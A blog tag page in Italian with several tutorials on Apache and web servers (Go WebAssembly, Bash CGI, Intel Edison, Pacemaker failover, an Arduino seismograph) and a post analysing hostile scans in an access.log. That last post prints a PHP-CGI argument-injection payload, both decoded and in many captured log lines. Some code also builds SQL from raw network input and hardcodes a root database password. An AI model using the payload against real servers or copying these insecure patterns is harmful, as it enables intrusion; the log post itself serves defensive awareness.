Visualizzazione post con etichetta Apache. Mostra tutti i post
Visualizzazione post con etichetta Apache. Mostra tutti i post

martedì 22 febbraio 2022

Webassembly Golang Mandelbrot

Era da tempo che volevo provare WebAssembly (abbreviato wasm).. ho scoperto che sia GoLang che Qt permettono di compilare in Wasm e cosi' ho fatto una prova

Per eseguire applicazioni WAsm si deve configurare il webserver a riconoscere il Mime Type wasm . In Apache e' sufficiente aggiungere la linea in /etc/mime.types mentre in NGinx /etc/nginx/mime.types con application/wasm  wasm;

Il file compilato deve avere l'estensione .wasm

Per compilare il file go.wasm si usa la linea di comando

GOOS=js GOARCH=wasm go build -o wasm.wasm

ATTENZIONE: i file wasm rimangono in cache del browser. In fase di sviluppo e' quindi necessario sincerarsi di pulire la cache con CTRL+SHIFT+R (od usare una sessione anonima)

Per creare il file wasm_exec.js e' sufficiente (attenzione al punto finale)

cp "$(go env GOROOT)/misc/wasm/wasm_exec.js" .

Il programma genera una immagine dell'insieme di Mandelbrot che viene codificata in PNG e successivamente in Base64 per divenire la src del tag img della pagina web

https://github.com/c1p81/gowasm_mand


wasm.go

package main

// cp "$(go env GOROOT)/misc/wasm/wasm_exec.js" .

import (
"bytes"
"encoding/base64"
"fmt"
"image"
"image/color"
"image/png"
"io/ioutil"
"syscall/js"
)

func funzione() js.Func {
jsonFunc := js.FuncOf(func(this js.Value, args []js.Value) interface{} {

//////////////////////////////////////////////////////////////////////////////
var SCREEN_WIDTH int = 400
var SCREEN_HEIGHT int = 400

var re_min float32 = -2.0
var im_min float32 = -1.2
var re_max float32 = 1.0
var im_max float32 = 1.2

var iterazioni int = 1024

var a, b float32
var x, y, x_new, y_new, somma float32
var k, i, j int

var re_factor float32 = (re_max - re_min)
var im_factor float32 = (im_max - im_min)

m := image.NewRGBA(image.Rect(0, 0, SCREEN_WIDTH, SCREEN_HEIGHT))

for i = 0; i < SCREEN_HEIGHT; i++ {
for j = 0; j < SCREEN_WIDTH; j++ {
a = re_min + (float32(j) * re_factor / float32(SCREEN_WIDTH))
b = im_min + (float32(i) * im_factor / float32(SCREEN_HEIGHT))
x = 0
y = 0

for k = 0; k < iterazioni; k++ {
x_new = (float32(x) * float32(x)) - (float32(y) * float32(y)) + float32(a)
y_new = (float32(2) * float32(x) * float32(y)) + float32(b)
somma = (x_new * x_new) + (y_new * y_new)
if somma > 4 {
if k%2 == 0 {
m.Set(j, i, color.RGBA{0, 0, 0, 255})
} else {
m.Set(j, i, color.RGBA{255, 255, 255, 255})
}
break
}
x = x_new
y = y_new
}
}
}

buf := new(bytes.Buffer)
if err := png.Encode(buf, m); err != nil {
return ("unable to encode png")
}
readBuf, _ := ioutil.ReadAll(buf)

enc := base64.StdEncoding.EncodeToString([]byte(readBuf))

return "data:image/png;base64," + enc
})
return jsonFunc
}

func main() {
fmt.Println("Inizio")
js.Global().Set("go_function", funzione())
fmt.Println(funzione())
<-make(chan bool)
}

 

Index.html

<html>
<head>
<meta charset="utf-8"/>
<script src="wasm_exec.js"></script>
<script>
const go = new Go();
WebAssembly.instantiateStreaming(fetch("wasm.wasm"), go.importObject).then((result) => {
go.run(result.instance);
});
</script>
</head>
<body>
<center> 2
<img id="immagine" name="immagine" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4
//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot" /><br><br>
<input id="button" type="submit" name="button" onclick="ff()"/> <br>
<textarea id="imgbase64" name="imgbase64" cols="80" rows="200"></textarea>

</center>



<script>
var ff = function() {
immagine.src = go_function(ff)
imgbase64.value = go_function(ff)
}
</script>
</body>
</html>




giovedì 22 novembre 2018

Bash script come cgi in Apache

Cosa succede quando scrivi uno script bash che funziona bene e non vuoi convertirlo in Php? Semplice...ritorni indietro di venti anni e lo fai diventare un cgi script

Per prima cosa si devono abilitare gli script CGI in Apache

a2enmod cgi

service apache2 restart

in Debian la directory di default per i CGI e' in /usr/lib/cgi-bin...si copia quindi lo script e lo si rende eseguibile
Per prima cosa c'e' da dire che lo script non deve rispondere in modo arbitrario (per esempio con un semplice testo) ma con un file html altrimenti verranno generati errori del tipo 500 di output non correttamente formattato

In Bash si possono leggere anche le variabile GET passate sulla URL e cio' mediante IFS
Nell'esempio sottostante e' prevista una sola variabile (che corrisponde ad un id numerico) e che e' stata salvata nell'array parm all'indice 1
----------------------------------------------------
#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
PATH="/bin:/usr/bin:/usr/opt/bin"
export $PATH

saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFS


stringa="$(xidel --silent --extract "//img/@src" "http://xxxxxxxxxxxx.it/?utf8=true&size=micro&mode=double&idc=${parm[1]}" | grep idraulico | awk 'FNR==1')"


echo '</head>'
echo '<body>'
#echo ${parm[1]}
file="$(basename $stringa)"

echo $file

echo '</body>'
echo '</html>'

exit 0
----------------------------------------------------

mercoledì 15 marzo 2017

Mini web server con Intel Edison

Una piccola guida per installare un web server con PHP su Intel Edison


Si parte connettendo la Edison alla WiFi interagendo prima con la connessione seriale via USB
configure_edison --wifi

si impostano poi il nome e la password
configure_edison --password
configure_edison --name

Per prima cosa deve essere evidenziato che nell'installazione standard di Yocto e' presente un web server basato su Node.JS. (si puo' verificare con netstat -tnpl)
Si deve quindi disattivare il web server su porta 80 (che peraltro non funziona) modificando il file /usr/lib/edison_config_tools/edison-config-server.js
e commentando la riga
http.createServer(requestHandler).listen(80)

a questo punto per installare Apache si modificano i repository con le istruzioni a questo link
http://alextgalileo.altervista.org/edison-package-repo-configuration-instructions.html

modificando il file
nano /etc/opkg/base-feeds.conf
Dopo aver modificato i repository si puo' iniziare ad installa i pacchetti


opkg update
opkg install apache2
opkg start apache2
opkg enable apache2

opkg install php 

A questo punto Apache funziona ma non interpreta le pagine php. Bisogna editare il file httpd.conf  con le seguenti righe

LoadModule php5_module lib/apache2/modules/libphp5.so

Include /etc/apache2/modules.d/70_mod_php5.conf

<IfModule mime_module>
    TypesConfig /etc/apache2/mime.types

e poi si edita /etc/httpd/conf/mime.types:
application/x-httpd-php php

la directory dove inserire i file html e' 

/usr/share/apache2/htdocs

mentre i file di log sono

/var/apache2/logs

Per impostare la giusta timezone 

opkg install ntpdate
ntpdate -v ntp1.inrim.it
timedatectl set-timezone "Europe/Paris"

Per modificare il DNS server di edita /etc/resolv.conf

domain lan
nameserver 8.8.8.8

infine, per effettuare il port forwarding e' necessario impostare un IP statico editando /etc/wpa_supplicant/wpa_cli-actions.sh 

if [ "$CMD" = "CONNECTED" ]; then
    kill_daemon udhcpc /var/run/udhcpc-$IFNAME.pid
#   udhcpc -i $IFNAME -p /var/run/udhcpc-$IFNAME.pid -S
    ifconfig $IFNAME 192.168.1.250 netmask 255.255.255.0
    route add default gw 192.168.1.254
fi
La Edison ha un server SSH che supporta anche SFTP. L'unico problema e' che accetta di default connessioni dall'utente root (questo puo' diventare un problema di sicurezza su server di produzione)

mercoledì 18 febbraio 2015

FailOver con Corosync/Pacemaker per Apache su Debian/WmWare

Il failover e' un sistema per permettere la continuita' di un servizio di rete mediante due server (di cui uno attivo ed uno passivo) che si sostituiscono nel caso in cui il sistema primario non funzioni in modo corretto



Attenzione : Il sistema indicato gestisce solo i servizi ma non la sincronizzazione dei dati

Per la configurazione e' stata seguita (e parzialmente modificata) la guida a questo link

Per simulare il sistema sono stati creati due server virtuali (deb1 e deb2) ed un client su WMware Player. I server sono stati configurati in modo identico partendo da una Debian base ed installando i pacchetti corosync, pacemaker ed apache2.

Il servizio ad alta disponibilita' (HA) sara' disponibile su 192.168.32.150

deb1 : 192.168.32.138
deb2 : 192.168.32.139
debclient : 192.168.32.140
HA : 192.168.32.150

la prima verifica e' che le macchine siano in grado di pingarsi reciprocamente

per prima cosa e' stato modificato il file /etc/hosts per far risolvere il nome in modo statico dell'altra macchina

per esempio su deb1 e' stato aggiutno
192.168.32.139 deb2.nearbee.it deb2

cosi' da deb1 si puo' pingare direttamente deb2

poi e' stato modificato il file /etc/corosync/corosync.conf  utilizzando il set di indirizzi dei server

interface {
ringnumber: 0
bindnetaddr: 192.168.32.0
 mcastaddr: 226.94.1.1 mcastport: 5405 }

in seguito si verifica /etc/corosync/corosync.conf  abbia ver=0 (di default e' gia' cosi') e si imposta START=yes su /etc/default/corosync

si effettuano le stesse modifiche sia su deb1 che su deb2 e poi si avvia il servizio
/etc/init.d/corosync start

con il comando
crm_mon -1
si devono quindi vedere i due server online

visto che si tratta di una configurazione a due macchine si impostano i seguenti parametri

crm configure property stonith-enabled=false
crm configure property no-quorum-policy=ignore

a questo punto viene impostato l'indirizzo HA 
crm configure primitive VIP ocf:IPaddr2 params ip=192.168.32.150 nic=eth0 op monitor interval=10s 

si verifica che l'ip virtuale 192.168.32.150 sia pingabile

si imposta quindi quale servizio deve essere impostato come high availability (nel nostro caso apache)
(HA-apache e' un nome che puo' essere impostato a piacere

crm configure primitive HA-apache lsb:apache2 op monitor interval=15s
(puo' essere configurato qualsiasi servizio presente in /etc/init.d/)
per verificare che il servizio sia stato modificato usare crm_mon -1
per semplicita' si puo' modificare il file index.html in /var/www inserendo il nome del server per rendere chiaramente visibile quale macchina sta rispondendo


a questo punto il sistema fail over e' completo
con i server deb1 e deb2 accesi e funzionanti, si puo' dal client collegarsi ad 

http://192.168.32.150

e rispondera' il server deb1. Spengendo la macchina virtuale deb1, l'indirizzo virtuale 192.168.32.150 sara' acquisito da deb2, collegandosi quindi ad http://192.168.32.150 sara' la macchina di backup a rispondere




mercoledì 31 dicembre 2014

SismoArduino

Dopo i recenti terremoti vicino a Firenze mi e' tornata la voglia di lavorare ad un progetto che avevo in mente da tempo e che con somma fantasia ho denominato SismoArduino. Si tratta di un progetto da un giorno ovvero che non risolve in 10 minuti collegando 4 fili ma che non necessita comunque troppo impegno




Per questo progettino ho tirato fuori l'Arduino Uno (la scelta e' stata obbligata perche' Arduino Due non entra fisicamente nella scatola da esterni in cui alla fine deve essere alloggiato il tutto per metterlo in produzione), uno shield Ethernet originale Arduino e un accelerometro triassiale ADXL335





Per comodita' ho piegato il pin ST in modo da fare contatto ed ho poi inserito i pin Z,Y e X nelle porte A3,A4 ed A5 patchando poi al volo i cavi di alimentazione (collegati a 3.3V e GND)

Lo sketch montato su Arduino semplicemente legge i dati sulle porte analogiche e poi invia una stringa mediante UDP client ad un server
(Arduino e' 192.168.1.177 mentre il server e' 192.168.1.120 in ascolto su porta 5005)

-----------------------------------------------------------------------
#include <SPI.h>      
#include <Ethernet.h>
#include <EthernetUdp.h>
//Arduino
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress ip(192, 168, 1, 177);
unsigned int localPort = 8888;    

//Server
byte remoteIP[4] = {192, 168, 1, 120};
int remotePort = 5005;

String dati;
char charBuf[1024];

EthernetUDP Udp;

void setup() {
  Serial.begin(9600);
  Ethernet.begin(mac,ip);
  Udp.begin(localPort);
}

void loop() {
  int x = analogRead(A5);
  delay(2);
  int y = analogRead(A4);
  delay(2);
  int z = analogRead(A3);
  delay(2);
  dati = String(x)+","+String(y)+","+String(z);
  Serial.println(dati);
  dati.toCharArray(charBuf, 1024);
  Udp.beginPacket(remoteIP, remotePort);
  Udp.write(charBuf);
  Udp.endPacket();
  delay(10);    
}
-----------------------------------------------------------------------

Sul server e' stato messo uno script Python che riceve i dati con un server UDP e li scrive su un database Mysql
-----------------------------------------------------------------------
#!/usr/bin/python

import socket
import MySQLdb as mdb
import  time

current_milli_time = lambda: int(round(time.time()*1000))

con = mdb.connect('localhost','root','chiara','sismoarduino')

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind(("192.168.1.120",5005))
while True:
data,addr=sock.recvfrom(1024)
with con:
cur = con.cursor()
cur.execute("INSERT INTO sisard (x1,y1,z1,milli,tempo) VALUES ("+data+","+str(current_milli_time())+",now())")

print data
-----------------------------------------------------------------------

Per la tabella Mysql c'e' un piccolo trucco. Mysql non accetta in modo semplice il formato tempo con i millisecondi. Per cui e' stato creato un campo milli come BIGINT dove e' registrato il tempo completo con i millisecondi ed un campo tempo come DATETIME per il lettore umano
-----------------------------------------------------------------------
CREATE TABLE `sisard` (
  `x1` int(11) DEFAULT NULL,
  `y1` int(11) DEFAULT NULL,
  `z1` int(11) DEFAULT NULL,
  `milli` bigint(20) DEFAULT NULL,
  `tempo` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
------------------------------------------------------------------------

La presentazione dei dati e' effettuata in tempo reale mediante un lettore fatto con le librerie Dygraph
I dati per la presentazione a video vengono generati dal seguente scritp php (in pratica viene generato al volo un CSV che viene dato in pasto a DyGraph
------------------------------------------------------------------------
<?php header('Content-Type: text/csv; charset=utf-8'); 
header('Content-Disposition: attachment; filename=data.csv');

$output = fopen('php://output', 'w');


$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'chiara';
$dbdb = 'sismoarduino';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
mysql_select_db($dbdb);

$result = mysql_query("SELECT * FROM sisard ORDER BY milli DESC LIMIT 1000");
while ($row = mysql_fetch_array($result)) {

$arr[0] = $row['milli'];
//$arr[0]=date("d-m-Y H:i:s",$row['milli']/1000);
$arr[1] = $row['x1'];
$arr[2] = $row['y1'];
$arr[3] = $row['z1'];
fputs($output,implode($arr,',')."\n");
}

mysql_close($conn);
?>
------------------------------------------------------------------------

E questa e' la pagina html che ospita Dygraph con aggiornamento automatico ogni secondo (la finestra e' degli ultimi 1000 dati
------------------------------------------------------------------------
<html>
<META HTTP-EQUIV="refresh" CONTENT="900">
<head>
<script type="text/javascript"
  src="http://localhost/dygraph-combined.js"></script>
</head>
<body>
<div id="graphdiv2"
  style="width:500px; height:300px;"></div>
  <br>

<script type="text/javascript">
  g2 = new Dygraph(
    document.getElementById("graphdiv2"),
    "http://localhost/sismodati.php", 
    {title: 'SismoArduino'}          // options
  );

 var update = function(){
g2.updateOptions({'file': 'http://localhost/sismodati.php'});  
};
  window.setInterval(update,1000);  
</script>
</body>
</html>
------------------------------------------------------------------------
il passo di campionamento misurato e' stato di circa 15-16 campioni al secondo (15 Hz) che non sono assolutamente paragonabili a strumenti professionali (i sismografi reali hanno passi di campionamento che vanno da 50 a 100 Hz)
Qui il video della prova



L'aspetto finale e' da sottolineare e' che il server (di recupero) impiegato e' stato un P3 a 700 Mhz con 128 Mb di ram con Debian Wheezy, Apache, Php, Mysql e Xwindow in funzione ed ha comunque funzionato dignitosamente

mercoledì 26 novembre 2014

Scansioni su access.log

Questo puo' essere considerato il bignamino delle scansioni su un server Apache

Si inizia con msscan, un programma per fare scansioni di Internet ad alta velocita' (un parente di nmap)
Poi iniziano scansioni alla ricerca di php4 e php5 installati come cgi. Le stringhe sono codificate ma sono del tipo

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

si finisce con una serie di ricerche su software installati (VTiger, Jenkins Script Console, Hudson script console, PhpMyAdmin, SQLiteManager

giusto per ricordarsi che se devo proprio installare qualcosa, metterlo in posizione non standard non e' una sicurezza ma aiuta in caso di scansioni automatiche

----------------------------------------------------------------------------------------------------------------------- 104.192.0.19 - - [23/Nov/2014:11:28:24 +0100] "GET / HTTP/1.0" 200 146 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
200.136.214.133 - - [23/Nov/2014:12:24:56 +0100] "GET /w00tw00t.at.ISC.SANS.Win32:) HTTP/1.1" 400 283 "-" "-"
175.139.254.201 - - [23/Nov/2014:12:29:02 +0100] "GET /tmUnblock.cgi HTTP/1.1" 400 283 "-" "-"
104.156.230.207 - - [23/Nov/2014:12:59:25 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 283 "-" "-"
216.218.206.66 - - [23/Nov/2014:14:01:04 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
216.218.206.66 - - [23/Nov/2014:14:06:04 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
46.165.220.215 - - [23/Nov/2014:14:38:01 +0100] "GET /recordings/theme/iefixes.css HTTP/1.1" 404 290 "-" "curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
104.131.108.12 - - [23/Nov/2014:14:57:14 +0100] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 272 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:51:00 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
206.71.197.103 - - [24/Nov/2014:02:41:34 +0100] "GET /tmUnblock.cgi HTTP/1.1" 400 283 "-" "-"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 272 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
63.138.17.133 - - [24/Nov/2014:03:56:51 +0100] "GET /vtigercrm/ HTTP/1.1" 404 272 "-" "curl/7.15.5 (i386-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
80.82.64.29 - - [24/Nov/2014:03:59:55 +0100] "GET /checkupdate.asmx HTTP/1.1" 404 277 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"
67.198.128.138 - - [24/Nov/2014:11:25:53 +0100] "GET /web-console/ServerInfo.jsp HTTP/1.1" 404 287 "-" "-"
217.31.48.30 - - [24/Nov/2014:12:57:30 +0100] "HEAD /rom-0 HTTP/1.1" 404 - "-" "Python-httplib2/0.7.4 (gzip)"
141.212.121.225 - - [24/Nov/2014:13:17:30 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
